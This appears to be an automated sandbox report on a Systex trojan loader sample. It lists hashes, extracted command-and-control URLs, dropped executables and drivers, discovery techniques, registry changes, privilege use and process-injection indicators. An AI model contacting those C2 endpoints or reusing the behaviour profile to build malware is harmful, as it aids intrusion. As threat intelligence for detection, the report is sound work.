systex | cebab720f62684f941b210d6e814aa1d341fdb0e4ca0a2e2bbfd368eea9a647c

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
17/04/2026, 07:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
Size 230KB
Sample260417-hs86bsb16v
SHA256 cebab720f62684f941b210d6e814aa1d341fdb0e4ca0a2e2bbfd368eea9a647c
MD5 f55896d1fee0d37ed1db8dfb7a8cdfd8
SHA1 2b195b5ea0141a17e175a2926564df0e8291937b
SHA512 a3410c4f8fb2941ca2ad119cdc8ccc820d38ad1e852bf3e6d91179c3fd1093cfec95c6b91ed7cdd3c36b1f924546c5d1bb324e05ade5340a058f741514e1ddff
SSDEEP 3072:LJWhLPcg3TC0sQB8BPFvdRcF8rFz1wxayNM3coteYnwrZCkAI9:LghLQ0sQmpcF8BzXfwVfAI
TLSH
T125344A1272808071E7560B78046AE7A14A7E7D344BA5E68FF7A43F795E302D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Executes dropped EXE 64 IoCs

pid	Process
996	CP.exe
4752	rmheztrmez.exe
3844	CP.exe
2716	CP.exe
1928	i_rmheztrmez.exe
2460	ecwrojhbzt.sys
440	CP.exe
896	tomgebwqom.exe
4616	CP.exe
1120	CP.exe
3680	i_tomgebwqom.exe
2320	tromgbytrl.sys
4660	CP.exe
2248	tolgeywqoj.exe
3556	CP.exe
3548	CP.exe
4704	i_tolgeywqoj.exe
4708	dywqoigbyt.sys
4512	CP.exe
1360	lfdyvtnlga.exe
900	CP.exe
4404	CP.exe
4724	i_lfdyvtnlga.exe
5088	ysqligaysq.sys
1308	CP.exe
3980	nlfdxvqnig.exe
2460	CP.exe
3908	CP.exe
1880	i_nlfdxvqnig.exe
2220	vpnifaysqk.sys
1292	CP.exe
764	kfdxvpnhfd.exe
2244	CP.exe
2000	CP.exe
3368	i_kfdxvpnhfd.exe
1408	mkfcxupnic.sys
3680	CP.exe
2316	zxspkhcaus.exe
3308	CP.exe
2300	CP.exe
1780	i_zxspkhcaus.exe
1924	kfcxspkhca.sys
1688	CP.exe
1928	pmhezxrpjh.exe
4844	CP.exe
2648	CP.exe
496	i_pmhezxrpjh.exe
4608	zxrpjhczus.sys
868	CP.exe
4604	upmhfzxrpj.exe
940	CP.exe
3208	CP.exe
788	i_upmhfzxrpj.exe
3952	zuomheywrp.sys
4548	CP.exe
2392	omgezwrpjh.exe
492	CP.exe
4528	CP.exe
2732	i_omgezwrpjh.exe
2064	omgeywrojg.sys
3640	CP.exe
4336	dbwtoljeyw.exe
5028	CP.exe
4840	CP.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 42 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmheztrmez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tomgebwqom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_lfdyvtnlga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_nlfdxvqnig.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	omgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pnifaysnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rojgbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_rmheztrmez.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_zxspkhcaus.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pmhezxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pnifaysnlf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_gbzwrmjebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jdbvtoidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_jdbvtoidbv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tolgeywqoj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkecxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_dbwtoljeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_aytqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tomgebwqom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kfdxvpnhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_omgezwrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dbwtoljeyw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_kfdxvpnhfd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_upmhfzxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aytqlidbvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xrpjhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_xrpjhfzxrp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rojgbztrlj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lfdyvtnlga.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_pmhezxrpjh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	upmhfzxrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ytqlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ytqlidbvtn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_hfzxspkica.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkecxrpk.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gbzwrmjebw.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3828	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
112	ipconfig.exe
808	ipconfig.exe
4536	ipconfig.exe
1980	ipconfig.exe
724	ipconfig.exe
1264	ipconfig.exe
1688	ipconfig.exe
3368	ipconfig.exe
652	ipconfig.exe
4964	ipconfig.exe
1256	ipconfig.exe
1956	ipconfig.exe
4844	ipconfig.exe
4164	ipconfig.exe
2468	ipconfig.exe
796	ipconfig.exe
3720	ipconfig.exe
3720	ipconfig.exe
1684	ipconfig.exe
5068	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 48 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "2929849684"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31248012"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134208828728320561"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1383858298-2057492509-1726743289-1000\{401BDA5B-BCF6-43A3-BC61-1F5E2A170E53}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe
4752	rmheztrmez.exe

Suspicious behavior: LoadsDriver 19 IoCs

pid	Process
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found
684	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe
2952	msedge.exe

Suspicious use of AdjustPrivilegeToken 20 IoCs

description	pid	Process
Token: SeDebugPrivilege	1928	i_rmheztrmez.exe
Token: SeDebugPrivilege	3680	i_tomgebwqom.exe
Token: SeDebugPrivilege	4704	i_tolgeywqoj.exe
Token: SeDebugPrivilege	4724	i_lfdyvtnlga.exe
Token: SeDebugPrivilege	1880	i_nlfdxvqnig.exe
Token: SeDebugPrivilege	3368	i_kfdxvpnhfd.exe
Token: SeDebugPrivilege	1780	i_zxspkhcaus.exe
Token: SeDebugPrivilege	496	i_pmhezxrpjh.exe
Token: SeDebugPrivilege	788	i_upmhfzxrpj.exe
Token: SeDebugPrivilege	2732	i_omgezwrpjh.exe
Token: SeDebugPrivilege	2856	i_dbwtoljeyw.exe
Token: SeDebugPrivilege	4324	i_aytqlidbvt.exe
Token: SeDebugPrivilege	4428	i_ytqlidbvtn.exe
Token: SeDebugPrivilege	3220	i_pnifaysnlf.exe
Token: SeDebugPrivilege	3168	i_hfzxspkica.exe
Token: SeDebugPrivilege	1276	i_xrpjhfzxrp.exe
Token: SeDebugPrivilege	584	i_usmkecxrpk.exe
Token: SeDebugPrivilege	3412	i_gbzwrmjebw.exe
Token: SeDebugPrivilege	724	i_rojgbztrlj.exe
Token: SeDebugPrivilege	788	i_jdbvtoidbv.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2952	msedge.exe
2952	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4640 wrote to memory of 4136	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	80
PID 4640 wrote to memory of 4028	4640	2026-04-17_f55896d1fee0d37ed1db8dfb7a8cdfd8_elex_redline-stealer_rhadamanthys_stop.exe	81
PID 4136 wrote to memory of 2952	4136	iexplore.exe	82
PID 4028 wrote to memory of 4916	4028	iexplore.exe	83
PID 2952 wrote to memory of 3116	2952	msedge.exe	84
PID 2952 wrote to memory of 3268	2952	msedge.exe	86
PID 2952 wrote to memory of 3828	2952	msedge.exe	85
PID 2952 wrote to memory of 3268	2952	msedge.exe	86
PID 2952 wrote to memory of 3268	2952	msedge.exe	86
PID 2952 wrote to memory of 2616	2952	msedge.exe	87
PID 2952 wrote to memory of 2616	2952	msedge.exe	87
PID 2952 wrote to memory of 3964	2952	msedge.exe	90
PID 2952 wrote to memory of 3964	2952	msedge.exe	90
PID 2952 wrote to memory of 3964	2952	msedge.exe	90
PID 2952 wrote to memory of 496	2952	msedge.exe	89
PID 2952 wrote to memory of 496	2952	msedge.exe	89
PID 2952 wrote to memory of 496	2952	msedge.exe	89
PID 2952 wrote to memory of 3848	2952	msedge.exe	91
PID 2952 wrote to memory of 2652	2952	msedge.exe	92
PID 2952 wrote to memory of 3700	2952	msedge.exe	93
PID 2952 wrote to memory of 132	2952	msedge.exe	94
PID 2952 wrote to memory of 3848	2952	msedge.exe	91
PID 2952 wrote to memory of 3848	2952	msedge.exe	91
PID 2952 wrote to memory of 236	2952	msedge.exe	95
PID 2952 wrote to memory of 2652	2952	msedge.exe	92
PID 2952 wrote to memory of 2652	2952	msedge.exe	92
